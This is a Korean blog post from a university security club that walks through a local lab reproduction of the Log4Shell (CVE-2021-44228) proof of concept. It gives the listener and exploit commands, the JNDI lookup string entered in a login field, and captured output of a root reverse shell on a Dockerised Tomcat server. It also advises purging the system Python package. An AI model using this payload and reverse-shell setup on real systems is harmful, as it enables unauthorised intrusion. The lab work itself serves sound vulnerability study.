[POC] CVE-2021-44228(log4shell) 취약점 POC 실습 (1)

이상·2022년 6월 30일
0

log4j 총정리보고서

목록 보기
4/6
post-thumbnail

[서론]

  • 본 글은 아래의 링크를 참고하여 log4j 취약점 POC를 실습해보기 위해 필요한 내용들을 정리한 글이다.
  • 본 글을 통해 log4j 취약점이 얼마나 간단하고, 위험한 취약점인지 체험해보길바란다.

log4j (Log4Shell) POC(Proof-Of-Concept) 재현

[환경설정 - 공격자]

1. POC 코드 및 JDK 설치

a. poc 코드 설치 (git clone)

git clone https://github.com/kozmer/log4j-shell-poc

b. jdk 설치

2. python 라이브러리 설치

pip install -r requirements.txt

3. pwncat 설치

#pip 업그레이드
pip3 install --upgrade pip

#pwncat 설치
pip3 install pwncat-cs
  • pwncat은 python3.9 필요 (ERROR: No matching distribution found for pwncat-cs)
  • 그런데 현재 ubuntu 의 기본 python버전은 3.8
  • 3.8을 삭제 후 3.9를 설치해야함
apt purge python3
apt purge python3.8
apt install python3.9

python3 버전 확인

python3 -V

python3 버전 바꾸는법

4. pwncat 실행

python3 -m pwncat -lp 9001 -m linux
  • 익스 성공 전까지 이 상태가 유지됨
  • 성공시 pwncat 화면

[환경설정 - 피해자]

1. 취약한 webapp시작

  • log4j-shell-poc 프로젝트의 Dockerfile, target 필요
  • log4j clone했던 위치로 간 뒤 실행
sudo docker build -t log4j-shell-poc .
sudo docker run --network host log4j-shell-poc
  • 8080 포트로 웹서비스 시작됨 (브라우저로 접속가능)

[익스플로잇]

(공격자)창1 : netcat시작 - 리버스 쉘 접속용

nc -lvnp 9001

(공격자)창 2 : 익스플로잇(poc.py) 시작

python3 poc.py --userip localhost --webport 8000 --lport 9001
# 8000 포트 : 웹접속 
# 9001 포트 : 리버스 쉘 접속용

(공격자)창 3 : pwncat 실행

  • 익스 성공시
back
# 쉘 획득 성공

(피해자)창 4 : 취약한 웹서버

  • 본 터미널은 공격대상 서버(취약한 웹서버)를 위해 실행하는 터미널이다.
  • POC를 위해 같은 컴퓨터에 실행을 할 뿐이고, 같은 컴퓨터라는 환경을 극복하기 위해 docker를 이용해 서버를 띄운 것이다.
sudo docker build -t log4j-shell-poc .
sudo docker run --network host log4j-shell-poc
  • 8080 포트로 웹서비스 시작됨 (브라우저로 접속가능)

익스플로잇

1. webapp 에 접속

  • 웹브라우저로  IP:8080 에 접속후 로그인 정보에 다음을 입력
username  : ${jndi:ldap://localhost:1389/a}
password  : hello!

2. 익스플로잇(poc.py) 창에 다음 메시지 생성됨

3. pwncat창에 다음 메시지 생성됨

[15:52:48] Welcome to pwncat 🐈!
[15:53:03] received connection from 127.0.0.1:57972
[15:53:04] 0.0.0.0:9001: upgrading from /bin/dash to /bin/bash
[15:53:05] localhost:57972: registered new host w/ db
(local) pwncat$

4. pwncat창에서 리모트 쉘로 전환

(local) pwncat$ **back**

5. 명령어 실행

(remote) root@server:/usr/local/tomcat#**ls**
LICENSE  NOTICE  RELEASE-NOTES  RUNNING.txt  bin  conf  include  lib  logs  native-jni-lib  temp  webapps  work

완료


도비돈돈

made by juntheworld

profile
중앙대학교 산업보안학과 정보보호동아리 이상입니다.

0개의 댓글